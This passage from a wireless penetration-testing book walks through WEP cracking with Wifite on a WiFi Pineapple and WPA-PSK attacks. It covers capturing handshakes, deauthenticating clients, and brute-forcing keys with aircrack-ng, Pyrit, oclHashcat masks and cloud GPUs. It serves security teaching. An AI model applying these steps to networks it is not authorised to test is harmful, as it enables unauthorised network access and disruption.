sure	to	enable	the	ARP	request	packet	injection	option	toward	the	bottom,	and	then	click
the	Passive	Scan	button	again.	An	example	of	this	configuration	is	shown	here.

Keep	an	eye	on	the	packet	count;	it	should	be	increasing	if	the	ARP	replay	attack	is
working.	If	you	are	having	trouble,	you	may	want	to	right-click	a	client	and	deauthenticate
it.	This	causes	the	client	to	reassociate	and	hopefully	issue	an	ARP	request.	Once	the
packet	count	has	increased	to	around	40,000,	click	the	Analyze	button.	Select	the	BSSID
you	are	interested	in	and	then	click	the	PTW	Attack	button.	If	everything	goes	well,	you
should	see	a	WEP	Key	Found!	message,	as	shown	next.

http://www.airpcap.nl/airpcap.htm


Attacking	WEP	networks	can	require	multiple	steps	to	be	successful,	and	attacks	are
sometimes	thwarted	by	tool	failure	or	typos	in	the	configuration	and	use	of	tools.	As	an
alternative	to	the	manual	attack	method,	there	is	an	integrated	tool	that	combines	these
attacks	into	a	simple	interface.

Putting	It	All	Together	with	Wifite
Now	that	you	understand	the	process	behind	cracking	WEP	networks,	it	is	time	to	learn
about	Wifite,	a	tool	that	can	automate	much	of	the	error-prone	command-line	jockeying
outlined	previously.

Installing	Wifite	on	a	WiFi	Pineapple
One	of	the	biggest	advantages	of	Wifite	is	that	it	allows	you	to	preconfigure	a	list	of
targets	and	then	let	Wifite	drive	the	aircrack-ng	process	unattended;	you	can	rest	easy
knowing	that	as	soon	as	Wifite	cracks	one	of	the	networks	on	your	target	list,	it	will	move
on	to	the	next	one.	This	feature	is	particularly	useful	on	embedded	devices,	such	as	the
WiFi	Pineapple,	shown	here.



The	WiFi	Pineapple	is	a	purpose-built	wireless	attack	tool	produced	by	Hak5	and
available	for	approximately	$100/US	at	http://www.hakshop.com.	Equipped	with	two	Wi-
Fi	cards,	a	400-MHz	MIPS	processor,	SD	slot,	Fast	Ethernet	adapter,	and	a	USB	port,	the
WiFi	Pineapple	is	suitable	for	offloading	many	Wi-Fi	attacks	into	a	small	and	portable
attack	device.

First,	you	will	need	to	get	your	WiFi	Pineapple	booted	and	connected	to	the	Internet	to
download	some	packages.	Refer	to	the	WiFi	Pineapple	documentation	if	you	need
instructions	on	connecting	the	device	to	the	Internet.

Downloading	Packages
Once	you	have	configured	your	WiFi	Pineapple	to	be	accessible	to	your	laptop	as	well	as
on	the	Internet,	SSH	in	to	it	as	root	(the	default	IP	is	172.16.42.1)	with	the	configuration
password	established	during	initial	setup.	Run	the	following	commands	to	download	and
install	the	attack	tools	required	for	Wifite	use:

http://www.hakshop.com


	

If	you	have	an	Ext4-formatted	USB	drive	connected	to	your	WiFi	Pineapple,	you	can
install	packages	to	the	USB	device	instead	of	the	SD	card	by	adding	the	-d	usb	argument
to	opkg.

The	WiFi	Pineapple	doesn’t	include	secure	HTTP	download	support	out	of	the	box,	so
you	have	to	download	the	latest	copy	of	Wifite	from	https://github.com/derv82/wifite	onto
a	laptop	and	copy	the	wifite.py	script	over	to	the	WiFi	Pineapple	using	secure	shell	copy
(scp),	as	shown.	If	you	are	working	from	a	Windows	host,	you	can	download	and	install
Simon	Tatham’s	PuTTY	tools	from	http://www.chiark.greenend.org.uk/~sgtatham/putty
and	copy	the	files	using	the	pscp	utility.
$	scp	wifite.py	root@172.16.42.1:/sd/usr/bin/wifite.py

Running	Wifite

With	the	prerequisites	out	of	the	way,	you	can	start	Wifite	on	the	WiFi	Pineapple,	as
shown	here:

https://github.com/derv82/wifite
http://www.chiark.greenend.org.uk/~sgtatham/putty


Assuming	you	are	plugged	in	to	the	Ethernet	port	of	your	Pineapple,	you	can	use	either
wlan0	or	wlan1	with	Wifite.	If	you	are	connecting	to	the	WiFi	Pineapple	over	a	wireless
connection	(for	example,	the	WiFi	Pineapple	is	not	using	the	Fast	Ethernet	connection	to
connect	to	your	network),	be	sure	not	to	select	the	wireless	interface	already	in	use.

At	this	point,	Wifite	has	automatically	put	the	card	into	monitor	mode,	performed	a
passive	survey,	and	sorted	the	results	by	signal	strength.	Wifite	has	also	let	us	know
whether	WPA2,	WPA,	or	WEP	encryption	is	in	use,	if	the	network	supports	Wi-Fi
Protected	Setup	(WPS),	and	if	any	clients	are	connected	to	the	target	AP.



As	tempting	as	it	is	to	select	all	and	let	Wifite	have	its	way	with	all	of	our	neighbors,
we’re	going	to	select	the	same	network	we	manually	cracked	before	(quiet_type):

Notice	that	Wifite	is	following	the	same	script	we	performed	manually	earlier	in	this
chapter.	First,	it	fakes	an	authentication,	then	it	tries	to	replay	any	ARP	packets	it	sees
come	across	the	air.	The	timer	on	the	left	is	counting	down	until	it	gives	up	on	the	current
attack	and	moves	on	to	the	next	one.	By	default,	Wifite	will	spend	10	minutes	on	each
attack.	If	you	are	impatient	(also	knowing	that	nobody	is	going	to	connect	to	the
quiet_type	network	and	generate	an	ARP	packet),	you	can	press	CTRL-C	and	move	on	to
the	next	attack.

If	we	had	selected	e,	Wifite	would	either	move	on	to	the	next	target	network	or,	if	out	of
targets,	exit	completely.

Wifite	is	currently	performing	a	ChopChop	attack	similar	to	what	we	did	earlier	in	this
chapter:

We	can	look	at	the	running	processes	to	see	what	Wifite	is	doing	(unfortunately,	the	ps
utility	on	the	WiFi	Pineapple	only	shows	the	first	78	characters	of	the	process	status
information):



While	Wifite	is	waiting	for	this	attack	to	finish,	it	prints	the	“waiting	for	packet”	status
to	the	user.	This	message	is	slightly	misleading,	as	Wifite	is	really	waiting	for	the
ChopChop	attack	to	decrypt	a	packet,	not	capture	one.	Assuming	the	ChopChop	attack	is
successful,	Wifite	will	move	on	to	the	following:

Notice	the	iv/sec	rate	is	significantly	higher	than	before.	This	means	the	traffic
generation	attack	is	working,	and	in	a	few	minutes	(maybe	10),	we	should	have	enough
data	to	crack	the	key,	and	we	will	be	greeted	with	a	successful	attack	message,	as	shown
here.

Using	Wifite,	we	can	accelerate	and	simplify	the	attack	process	dramatically.	Wifite
also	lessens	the	burden	for	an	attacker,	reducing	the	amount	of	skill	and	knowledge
needed	for	an	adversary	to	take	advantage	of	a	WEP	network.	In	addition,	Wifite	supports
other	attack	techniques	beyond	WEP	cracking,	which	we	examine	in	the	next	chapter.

	Defending	Against	WEP	Attacks
The	simplest	way	to	defend	against	WEP	attacks	is	to	use	WPA2.	Simply	stated,	yet	many
wireless	networks	continue	to	use	WEP	due	to	legacy	device	compatibility	requirements
or	simple	obliviousness	as	to	how	a	wireless	network	is	secured.

Summary
This	chapter	covered	the	myriad	attacks	against	WEP-protected	networks	and	other	basic
security	features	commonly	deployed	in	SOHO	networks—SSID	hiding	and	MAC
filtering.	These	techniques	should	never	be	applied	to	protect	sensitive	networks,	yet	they
are	still	commonly	identified	in	production	deployments	from	retail	stores	to	large
enterprise	organizations.	Using	readily	available	tools	for	Windows,	Mac	OS	X,	or	Linux,
an	attacker	can	exploit	these	weaknesses	in	many	different	ways	to	capture	traffic	or	gain



unauthorized	access	to	the	network.

The	recommended	mitigation	strategy	for	defending	against	WEP	attacks	is	to	avoid
using	WEP	altogether	with	WPA2	deployments.	This	does	not	mean	that	WPA2	is	a
panacea	that	solves	all	the	security	challenges,	as	you’ll	see	in	the	next	chapter.
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WPA/WPA2	(herein	“WPA”)	vastly	improves	the	security	of	Wi-Fi	networks;	however,	the
extra	protection	comes	at	the	price	of	added	complexity	to	the	protocol.	A	brief
introduction	to	WPA	is	provided	in	Chapter	1.	Readers	unfamiliar	with	the

basics	of	WPA	may	wish	to	read	it	for	background	information.	This	chapter	is	focused	on
the	currently	known	attacks	against	WPA.

Although	WPA	was	developed	with	security	in	mind,	it	does	have	its	own	flaws	that
we	can	take	advantage	of.	At	a	high	level,	WPA	attacks	can	be	broken	down	into	two
categories:	attacks	against	authentication	and	attacks	against	encryption.	Authentication
attacks	are	the	most	common	and	yield	direct	access	to	the	wireless	network.	When
attacking	WPA-PSK	authentication,	the	attacker	also	has	the	ability	to	decrypt/encrypt
traffic	because	the	master	key	is	recovered.	Encryption	attacks	are	just	emerging	against
WPA	networks.	These	attacks	provide	the	ability	to	decrypt/encrypt	traffic	but	do	not
allow	the	attacker	to	fully	join	the	network	as	a	legitimate	user.

Differentiating	WPA	and	WPA2
The	WPA	protocol	was	adopted	while	the	IEEE	was	continuing	to	develop	new	security
strategies	for	802.11	networks.	From	a	cryptography	perspective,	WPA	introduced	the
TKIP	protocol,	whereas	WPA2	could	use	TKIP	or	AES-CCMP	(or	both).	From	an
authentication	perspective,	both	WPA	and	WPA2	support	pre-shared	key	(PSK)
authentication	or	IEEE	802.1X	authentication	(enterprise	mode).

For	our	purposes,	there	is	little	practical	difference	between	WPA	and	WPA2.	In	this
chapter,	we	look	at	attacks	against	the	TKIP	protocol	specifically,	but	those	attacks	can
target	WPA	or	WPA2	deployments	(though	less	popularly	today,	as	TKIP	has	officially
been	retired	from	later	revisions	to	the	IEEE	802.11	standard).	From	an	authentication
perspective,	the	choice	of	WPA	or	WPA2	makes	little	difference	in	the	attack	techniques
applied,	although	where	applicable,	we’ll	point	out	important	nuances	between	the	two
protocols.

The	next	time	you	hear	someone	claim	he	is	not	vulnerable	to	one	attack	or	another
because	he	uses	WPA2,	not	WPA,	remember	that	there	is	little	difference	between	them
from	an	attack	perspective.	All	organizations	today	should	use	WPA2	since	it	is	the
modern	standard	for	IEEE	802.11	security,	but	that	does	not	preclude	it	from	the
numerous	attacks	that	we	cover	in	this	chapter.

Since	the	vast	majority	of	attacks	described	in	this	chapter	are	applicable	to	both
WPA	and	WPA2,	we’ll	simply	use	the	term	“WPA”	to	describe	networks	that	are	using
either	type.	Any	vulnerabilities	specific	to	WPA	or	WPA2	will	be	specifically	called
out.

Breaking	Authentication:	WPA-PSK



Many	of	the	WPA	deployments	in	use	today	leverage	WPA	with	pre-shared	key
authentication,	also	known	as	WPA-Personal.	This	mechanism	leverages	a	shared	secret
common	among	all	devices	on	the	network	for	authentication.	Although	similar	key
derivation	functions	are	used	with	its	enterprise-authentication	counterpart,	this	WPA
deployment	method	is	susceptible	to	a	number	of	attacks	that	weaken	the	overall	security
of	these	wireless	deployments.	For	an	introduction	to	the	nuances	of	authentication	using
the	WPA	pre-shared	key	method,	see	Chapter	1.

Obtaining	the	Four-Way	Handshake
The	four-way	handshake	shown	in	Figure	4-1	allows	the	client	and	the	access	point	to
negotiate	the	keys	used	to	encrypt	the	traffic	sent	over	the	air.	If	we	want	to	crack	the	key,
we	need	the	network	SSID,	the	authenticator	nonce	(A-nonce)	sent	by	the	AP,	the
supplicant	nonce	(S-nonce)	sent	by	client,	the	client’s	MAC	address,	the	AP’s	MAC
address,	and	a	Message	Integrity	Check	(MIC)	to	verify.	With	the	exception	of	the	SSID,
all	of	these	values	can	be	found	within	the	four-way	handshake.	Because	they’re
sometimes	repeated	across	frames,	we	don’t	actually	need	all	four	frames	to	crack	the	key
successfully,	which	can	be	useful	if	we	somehow	missed	part	of	the	handshake	(e.g.,	due
to	channel	hopping).	A	complete	packet	capture	of	a	four-way	handshake	is	shown	here.





Figure	4-1	WPA:	The	four-way	handshake

Passive	Sniffing
Obtaining	the	handshake	through	passive	sniffing	requires	no	interaction	with	the	target
network	and	is	by	far	the	stealthiest	method.	Because	a	client	joining	the	network	is	a
fairly	common	occurrence,	all	we	have	to	do	is	wait	patiently,	and	if	we’re	on	the	right
channel	at	the	right	time,	we’ll	capture	the	handshake.	This	simple	process	can	be
performed	with	any	Wi-Fi	capture	tool.	Airodump-ng	of	the	Aircrack-ng	suite
(http://www.aircrack-ng.org)	is	a	simple,	lightweight	sniffer	that	is	particularly	useful	in
this	scenario	because	it	will	let	us	know	when	we’ve	captured	a	handshake.

Before	launching	airodump-ng,	we	need	to	make	sure	our	card	is	in	monitor	mode,
locked	onto	a	particular	channel,	and	that	we’re	saving	our	sniffed	data	to	a	file.	We	can
also	target	a	specific	AP	by	specifying	a	BSSID	to	filter	on	(with	the	--bssid	option),	but
in	this	case,	we’ll	stay	broad	by	just	targeting	a	single	channel.

http://www.aircrack-ng.org


The	first	command	puts	the	card	into	monitor	mode,	and	the	next	one	starts	capturing	with
airodump-ng.	We	lock	our	card	onto	the	channel	used	by	the	AP	(--channel	11),	save
everything	to	a	file,	specify	a	filename	prefix	of	allyourbase	(-w	allyourbase),	and
indicate	the	interface	that	will	be	used	to	sniff	on	(mon0).	The	--ignore-negative-one
argument	is	also	added	here	to	avoid	an	error	condition	in	which	the	channel	has	not	yet
been	set	on	the	wireless	card;	this	argument	may	not	be	necessary	depending	on	your
wireless	driver.

Notice	that	in	the	upper-right	corner	of	the	following	illustration,	airodump-ng	notifies
us	that	a	WPA	handshake	has	been	captured.

Active	Attacks
Sometimes	impatience	gets	the	best	of	us.	This	is	where	active	attacks	to	obtain	the
handshake	come	in	handy.	Why	wait	around	when	we	can	just	kick	a	user	off	and	then
watch	him	reconnect?	We	can	use	any	Wi-Fi	denial	of	service	attack	to	kick	a	user	offline;
however,	the	most	popular	is	the	deauthentication	attack.	Our	first	step	is	to	set	up	our
passive	sniffer	(just	described).	Then,	in	a	new	window	on	the	same	system,	we	launch	our
deauthentication	attack	so	our	sniffer	captures	both	the	attack	and	the	client	reconnecting.
Although	several	tools	are	available	that	will	launch	a	deauthentication	attack,	using
aireplay-ng	is	straightforward.

	

When	targeting	a	specific	network,	you	can	use	the	--bssid	option	with	airodump-ng	to
reduce	clutter	in	both	your	capture	files	and	your	display.



The	number	of	deauthentication	frames	needed	to	force	the	client	to	reconnect	can	vary.
Although	you	might	guess	that	the	--deauth	1	means	send	one	deauth	packet,	aireplay-ng
will	actually	send	one	burst	of	deauth	packets	(which	is	64	packets).	Aireplay-ng	will	send
deauthentication	frames	in	both	directions,	from	the	AP	(-a	10:FE:ED:40:95:B5)	to	the
client	(-c	00:11:95:E9:FF:5C)	and	vice	versa.	Once	the	attack	finishes,	we	wait	a	second
and	then	check	our	sniffer	for	the	handshake.	If	all	goes	well,	we	can	move	on	to
launching	the	brute-force	attack!	If	it	doesn’t,	we	ensure	the	BSSID	and	client	addresses
are	correct	and	then	try	increasing	the	number	of	deauthenticate	bursts.

Cracking	the	Pre-shared	Key

Like	many	authentication	attacks,	hacking	WPA-PSK	boils	down	to	an	offline	brute-
force	attack.	WPA-PSK	is	particularly	challenging	as	the	character	set	for	the	pre-shared
key	can	be	between	8	and	63	printable	ASCII	characters	and	the	chosen	passphrase	is
HMAC-SHA1	hashed	4096	times	before	using	it	within	the	PMK.	This	greatly	increases
the	computational	complexity	of	the	brute-forcing	process,	making	it	difficult	to	crack
long	and	complex	passphrases.

Using	aircrack-ng	Since	we’ve	been	using	the	Aircrack-ng	suite,	it’s	only	natural	to
continue	with	the	tool	the	suite	is	named	after—aircrack-ng—to	crack	our	key.	Like	most
WPA-PSK	cracking	tools,	aircrack-ng	requires	a	capture	file	containing,	at	a	minimum,
two	of	the	four	frames	contained	in	the	four-way	handshake.	Using	aircrack-ng	is	pretty
straightforward:
$	aircrack-ng	-w	wordlist.txt	hackmeup-01.cap

We	specify	our	dictionary	file	(-w	wordlist.txt)	and,	following	the	previous
example,	our	capture	file	(hackmeup-01.cap).	If	multiple	access	points	are	in	the	vicinity,
you	may	have	to	supply	the	number	corresponding	to	your	target	BSSID	provided	in	a	list
by	aircrack-ng	after	you	execute	this	command.	When	the	list	is	displayed,	it	will	also
show	which	BSSIDs	were	found	and	whether	the	handshake	was	captured	or	the	number
of	WEP	IVs.	Finally,	aircrack-ng	will	continue	with	the	brute-force	attack	and	attempt	to
discover	the	pre-shared	key.



WPA	Handshake	Hygiene
Although	omitted	in	the	following	sections	for	clarity,	users	of	aircrack-ng	or	Pyrit
(discussed	next)	will	commonly	run	into	errors	processing	a	pcap	file	that	(allegedly)
has	a	handshake	in	it.	This	happens	because	oftentimes	in	a	busy	(or	“noisy”)	capture
file	there	are	many	data	packets	in	between	the	ever-so-valuable	EAP	packets	that
contain	the	keying	material.	Although	Pyrit,	aircrack-ng,	and	other	tools	try	to	do	their
best	to	sort	through	this,	sometimes	they	need	a	little	help.	Readers	can	filter	a	packet
capture	to	focus	on	a	group	of	EAP	frames	representing	the	four-way	handshake	by
opening	a	capture	file	in	Wireshark	and	applying	a	display	filter	of	eapol	and	manually
marking	the	packets	that	they	think	best	characterize	a	good	four-way	handshake.
Alternatively,	readers	can	use	the	wpaclean	or	pyrit	strip	commands	to	do	this	in	an
automated	manner.

Cracking	with	Cryptographic	Acceleration
Realistically	speaking,	unless	the	network	you	are	attacking	uses	very	common	dictionary
words,	you	are	unlikely	to	recover	the	passphrase	using	only	the	CPU	resources	of	a
standard	laptop	or	desktop	system	(which	will	get	you	a	few	thousand	attempts	per	second
depending	on	your	hardware).	You	can	improve	the	throughput	on	this	attack	in	two	ways:
offload	the	computation	to	a	more	specialized	piece	of	hardware	(such	as	a	video	card
GPU),	or	upload	your	job	to	the	cloud.	Both	of	these	are	covered	here.

Graphical	Processing	Units



Graphical	processing	units	(GPUs)	are	the	processors	in	video	cards	that	handle	graphic
rendering.	They	operate	very	efficiently	and,	in	modern	video	cards,	can	be	extremely
powerful	at	performing	computational	tasks.	We	know	what	you’re	thinking:	“What	better
task	is	there	to	perform	than	cracking	passwords?”	Our	thoughts	exactly!	Through	the	use
of	Nvidia’s	compute	unified	device	architecture	(CUDA)	or	the	AMD	Stream	Open
Computing	Library	(OpenCL),	developers	can	offload	tasks	to	the	video	card	to	leverage
its	GPU	for	password	cracking.

Pyrit	(http://code.google.com/p/pyrit)	is	an	open	source	WPA-PSK	brute-forcing	tool
that	supports	a	GPU	and	general-purpose	processing	architectures.	Pyrit	is	broken	into	two
parts:	the	main	module	and	extension	modules.	Pyrit’s	Python-based	main	module
provides	a	command-line	component	that	handles	a	number	of	management	tasks	and
supports	CPU	cracking.	Its	true	power	is	in	its	extension	modules.	The	extension	modules
are	what	offer	support	for	different	architectures.	These	modules	can	be	called	on	easily
using	Python,	so	if	you	don’t	like	the	way	the	main	module	functions,	you	can	write	your
own!	Because	Pyrit	has	support	for	multiple	CPUs	and	GPUs,	stacking	your	video	cards
can	result	in	serious	cracking	power.	First,	let’s	perform	the	same	attack	we	did	with
aircrack-ng,	but	with	Pyrit:

The	arguments	to	Pyrit	are	self-explanatory	except	for	the	last	one.	By	specifying
attack_passthrough,	we	are	telling	Pyrit	not	to	store	any	of	the	hashing	results	for	future
use,	accelerating	the	current	attack	by	reducing	the	overhead	of	writing	each	hash	to	disk.

An	alternative	to	Pyrit	is	to	crack	the	WPA-PSK	with	oclHashcat
(http://hashcat.net/oclhashcat).	Like	Pyrit,	oclHashcat	offloads	the	CPU-intensive	PSK
hashing	function	onto	available	GPUs.	Unlike	Pyrit,	oclHashcat	is	under	active
development	and	exceeds	the	performance	of	Pyrit	by	a	fair	margin	while	introducing
additional	PSK	brute-force	options.

OclHashcat	supports	both	AMD	and	Nvidia	cracking	using	two	different	binaries.	If
you	are	working	from	an	AMD	system,	download	the	oclHashcat	tool.	If	you	are	working
from	an	Nvidia	system,	download	the	cudaHashcat	tool.	In	the	examples	that	follow,	we
are	working	from	an	Nvidia	system	so	we’ll	use	the	cudaHashcat	tool,	though,	in	general,
the	project	is	referred	to	as	oclHashcat	despite	the	architecture	used.

To	use	oclHashcat	for	WPA-PSK	cracking,	we	start	with	a	Wi-Fi	packet	capture	that
contains	the	four-way	handshake.	OclHashcat	can’t	read	from	the	libpcap	packet	capture
directly,	requiring	instead	an	intermediate	file	format	that	includes	the	necessary	packet
contents	to	mount	the	attack.	The	latest	development	version	of	aircrack-ng	(version	1.2
Beta	3)	includes	support	for	converting	the	libpcap	file	to	the	intermediate	hccap	format,
as	shown	here:

http://code.google.com/p/pyrit
http://hashcat.net/oclhashcat


Next,	we	use	hccap	with	oclHashcat	to	mount	the	PSK	attack.	Download	the	version



of	oclHashcat	that	is	correct	for	your	system	(oclHashcat	or	cudaHashcat)	from
https://hashcat.net/oclhashcat.	The	oclHashcat	binary	is	distributed	as	a	compressed	7-Zip
file,	requiring	the	7Z	utility	to	extract,	as	shown	here:

In	the	following	example,	the	-m	2500	argument	indicates	the	hash	type	that
oclHashcat	should	attack	(WPA-PSK	or	WPA2-PSK),	and	we	use	the	dictionary	file
wordlist.txt	as	the	PSK	guessing	source:

OclHashcat	is	computing	and	checking	the	calculated	hashes	until	it	finds	the	correct
passphrase	or	it	runs	out	of	words	in	the	dictionary	wordlist	file.	At	the	interactive	prompt,
request	the	status	of	the	attack	by	pressing	S:

https://hashcat.net/oclhashcat


In	this	example,	oclHashcat	is	computing	PMK	values	from	the	PSK	at	a	rate	of
56,736	hashes/second,	compared	to	the	40,788	hashes/second	with	Pyrit,	an	almost	30
percent	performance	increase	on	the	same	attacking	system.	OclHashcat	also	supports	a
flexible	brute-force	passphrase	selection	mask	attack	instead	of	reading	from	a	dictionary
wordlist.	For	example,	if	you	know	that	the	default	passphrase	for	a	mobile	hotspot	device
such	as	the	Novatel	MiFi	is	an	11-number	sequence	starting	with	“121101”	(representing
the	date	of	manufacture),	you	can	use	the	oclHashcat	mask	value	1221101?d?d?d?d?d	to
brute-force	the	five	unknown	numeric	digits	with	the	constant	prefix	“1221101”:
$	cudaHashcat64.bin	-m	2500	-a	3	mifi.hccap	1221101?d?d?d?d?d

OclHashcat	uses	the	sequence	?d	to	indicate	that	it	should	brute-force	all	digits	for	the
one-byte	character	location,	whereas	1221101	is	used	as	a	constant	value.	OclHashcat	can
also	substitute	any	printable	ASCII	character	as	part	of	the	mask	attack,	using	the
character	substitution	shown	in	Table	4-1.



Table	4-1	OclHashcat	Mask	Attack	Markers

With	sufficient	GPU	cores	available,	oclHashcat	can	brute-force	PSKs	that	have
limited	entropy	in	the	passphrase	selection.	For	example,	the	following	mask	attack	will
brute-force	all	PSKs	consisting	solely	of	lowercase	letters,	eight	characters	in	length:
$	cudaHashcat64.bin	-m	2500	-a	3	weakpsk.hccap	?l?l?l?l?l?l?l?l

On	the	author’s	attack	system	with	two	GPUs	at	a	rate	of	56,000	PSK/second,	this	brute-
force	attack	will	be	exhausted	in	43.2	days.	Of	course,	an	attack	platform	configured	with
eight	GPUs	would	reduce	the	attack	duration	to	25	percent	or	approximately	11	days.

Dictionary	attacks	and	brute-force	attacks	can	be	effective	at	exploiting	WPA-PSK
deployments,	but	require	significant	attack	time.	As	an	alternative	technique,	we	can
spend	time	prior	to	the	attack	precomputing	hashes	to	accelerate	the	subsequent	password-
guessing	attack	using	hash	tables.

Precomputed	Hash	Tables	Brute-forcing	tools	work	by	taking	a	plaintext	value	(i.e.,	the
guess),	encrypting	it,	and	then	comparing	it	to	the	encrypted	hash	of	the	captured
password.	If	the	comparison	fails,	the	guess	was	wrong	and	the	process	is	repeated	for	the
next	guess.	The	most	processor-intensive	and	thus	time-consuming	part	of	this	process	is
encrypting	the	guess.

Precomputed	hash	tables	are	composed	of	hashed	guesses.	With	a	precomputed	hash,
the	cracking	tool	simply	reads	the	guess	hash	and	compares	it	to	the	password	hash.	If
they	match,	the	program	looks	up	the	plaintext	guess	associated	within	the	precomputed
hash	table	and	provides	it	to	the	user.	Precomputed	hash	tables	are	generated	by	one	or
more	people	and	distributed	to	remove	the	CPU-intensive	hash	calculation	process,
accelerating	the	attack.	Alternatively,	you	may	want	to	create	a	precomputed	hash	table	for
yourself	if	you	have	a	recurring	need	to	crack	a	particular	hash	type.	Because	you	reduce
or	completely	eliminate	the	encryption	part	of	the	brute-forcing	process,	you	drastically
improve	the	time	it	takes	to	crack	a	password	hash.	The	downside	to	precomputed	hash
tables	is	that	they	can	be	extremely	large	and	thus	cumbersome	to	transfer	or	store.

WPA-PSK	is	tricky	when	it	comes	to	hash	tables	because	the	PMK	is	not	just	a	hash	of
the	pre-shared	key,	but	also	the	SSID.	This	means	that	even	if	two	networks	with	different
SSIDs	have	the	same	pre-shared	key,	the	PMK	will	be	different.	Therefore,	precomputed
hash	tables	for	WPA-PSK	networks	are	only	useful	if	you	generate	them	for	an	SSID	that
is	popular,	or	one	you	expect	to	come	across	often.

For	example,	imagine	if	a	few	weeks	from	now	we	are	trying	to	break	into	the	same
network	(“all	your	base”),	but	the	administrator	has	changed	the	passphrase.	Obviously,
we	could	just	capture	a	new	handshake	and	run	it	against	our	entire	dictionary	(again),	but
if	we	had	created	a	table	(or	database)	the	first	time	through,	we	wouldn’t	have	to	redo	all
the	work.	In	order	to	do	this,	we	tell	Pyrit	to	create	a	table	associated	with	the	SSID	we	are
targeting:

Next,	we	feed	Pyrit	the	word	list	it	will	be	hashing	later:



At	this	point,	we	could	add	more	SSIDs	and	more	words	into	the	queue	to	hash	later.
Because	we	are	only	interested	in	attacking	the	“all	your	base”	network,	we	skip	that	step
and	tell	Pyrit	to	start	hashing	all	of	the	imported	passwords	against	our	SSID	and	store	the
results.	We	accomplish	this	using	the	pyrit	batch	command:

Now,	we	can	issue	the	attack_db	command	to	Pyrit.	This	tells	Pyrit	to	look	in	its
database	rather	than	perform	the	hashes	again.	Results	come	back	nearly	instantaneously.

Here,	the	PSK	is	cracked	much	faster	than	our	earlier	example,	reportedly	at	a	rate	of
176,830,746	PMK/second.	This	performance	benefit	is	achieved	because	the	up-front
work	of	precomputing	the	hashes	has	already	been	completed.

For	a	single	attack	against	a	PSK	on	a	given	SSID,	precomputing	the	PMK	values
doesn’t	make	much	sense	because	you	don’t	gain	a	significant	performance	advantage.
However,	if	you	know	the	target	SSID	beforehand	or	expect	to	reuse	the	attack	against	the
target	SSID	in	the	future,	precomputing	the	PMKs	with	Pyrit	provides	a	distinct
performance	advantage	for	subsequent	attacks.

Cracking	WPA-PSK	on	the	“Cloud”



Readers	who	have	followed	along	this	far	may	be	thinking	something	along	these	lines:
“Cracking	WPA	by	using	my	video	card	sounds	great—but	I’d	rather	use	it	to	play
Minecraft.	Can’t	I	outsource	this	to	someone	else?	Like	on	the	cloud?”

Lucky	for	you,	dear	reader,	the	answer	is	an	unequivocal	yes!	Amazon	Web	Services
(AWS)	supports	GPU-enabled	Elastic	Cloud	Computing	(EC2)	instances.	This	means	you
can	spin	up	a	WPA-cracking	machine,	upload	and	hash	for	as	long	as	needed,	and	shut	the
whole	thing	down	when	you	are	finished.	You’ll	get	a	bill	from	Amazon	at	the	end	of	the
month,	which	may	be	less	than	the	cost	of	your	favorite	drink	from	Starbucks.

Spinning	Up	an	Amazon	EC2	Instance	The	following	section	assumes	the	reader	is
already	somewhat	familiar	with	Amazon’s	EC2	service.	Readers	who	have	never	used
Amazon’s	cloud	service	are	encouraged	to	sign	up	and	play	with	some	of	the	free	tier
services	before	creating	instances	that	may	cost	them	a	significant	amount	of	money	if	left
unattended	(this	author	inadvertently	left	a	fairly	large	instance	running	for	an	entire
month	once—to	the	tune	of	$300).	Always	be	sure	to	terminate	your	EC2	instances	when
you	are	finished	with	them.

	

The	last	sentence	bears	repeating:	always	terminate	your	EC2	instance	when	you	are
finished	with	it	to	avoid	unwanted	charges.	Terminating	your	instance	doesn’t	destroy
your	data,	so	you	can	restart	the	instance	when	needed	again	in	the	future.

When	you	sign	in	to	your	AWS	management	console,	navigate	to	the	EC2	dashboard
and	launch	a	new	instance.	When	prompted	for	the	Amazon	Machine	Image	(AMI),
browse	to	the	AWS	Marketplace	and	select	“Amazon	Linux	AMI	with	NVIDIA	GRID
GPU	Driver.”	This	is	a	CentOS-based	image	with	all	the	appropriate	drivers	preloaded.

Next,	Amazon	will	ask	you	for	your	instance	type.	Filter	by	GPU	Instances,	and	select
whichever	configuration	best	fits	your	needs.	Currently,	the	only	GPU	configuration
offered	is	g2.2xlarge,	which	has	8×64	CPU	cores	and	one	Nvidia	GRID	K520.

Finally,	Amazon	will	give	you	a	chance	to	configure	the	amount	of	storage	attached.
The	current	default	(60GB)	should	be	plenty	for	most	users.	Roughly	speaking,	for	every
1.5	million	words	you	want	to	hash,	you	will	require	50MB	of	storage	per	SSID.	If	you
are	planning	to	create	a	large	database	with	hundreds	of	SSIDs,	you	may	want	to	scale	this
up.

Once	you	finish	configuring	your	Amazon	instance,	give	Amazon	a	minute	or	two	to
spin	it	up,	then	log	in	using	your	associated	SSH	keypair.

	

Is	a	single	GPU	instance	not	fast	enough	for	you?	Readers	may	want	to	consider	spinning
up	multiple	instances	with	externally	attached	storage.	You	can	easily	parallelize	your
work	and	keep	the	results	in	one	place	for	convenient	lookup	later.



Installing	Scapy,	Pyrit,	and	Dependencies	The	default	Amazon	image	comes	with	all	of
the	drivers	and	utilities	loaded	that	you	will	need;	however,	it	doesn’t	come	with	Pyrit,
Pyrit-cuda,	or	many	of	its	dependencies.	To	simplify	the	installation	process,	the	authors
have	created	a	simple	shell	script,	which	will	install	everything	you	need	to	get	a	GPU-
accelerated	Pyrit	instance	running	on	EC2	in	minutes.

1.	First,	log	in	to	your	EC2	instance	using	a	command	similar	to	the	one	shown	here,
and	then	sudo	to	root.	The	author’s	EC2	host	is	shown	in	the	following	example:

2.	Next,	either	cut	and	paste	or	download	the	ec2-pyrit-prep.sh	script	(available	on	the
companion	website	at	www.hackingexposedwireless.com),	and	run	it.	This	script
automatically	installs	the	package	prerequisites	required	to	get	Pyrit	up	and	working,
and	runs	a	quick	benchmark	when	it	is	complete.

Accelerated	Cracking	Comparison	Summary
Table	4-2	breaks	down	the	cost	and	speed	of	the	accelerated	cracking	methods	described
in	the	previous	sections.

http://www.hackingexposedwireless.com


Table	4-2	Accelerated	WPA-PSK	Cracking	Summary

The	most	efficient	method	is	definitely	using	precomputed	hash	tables.	Most	times,
however,	those	tables	won’t	exist	for	your	target	SSID,	and	they	may	not	contain	the
passphrase	used.	For	brute-forcing,	GPU	cracking	is	clearly	the	quickest,	and	it	gets	you
the	most	bang	for	your	buck!

Retrieving	Passphrases	with	Reaver	and	WPS

In	2007,	the	Wi-Fi	alliance	began	work	on	an	extension	to	IEEE	802.11	security	called
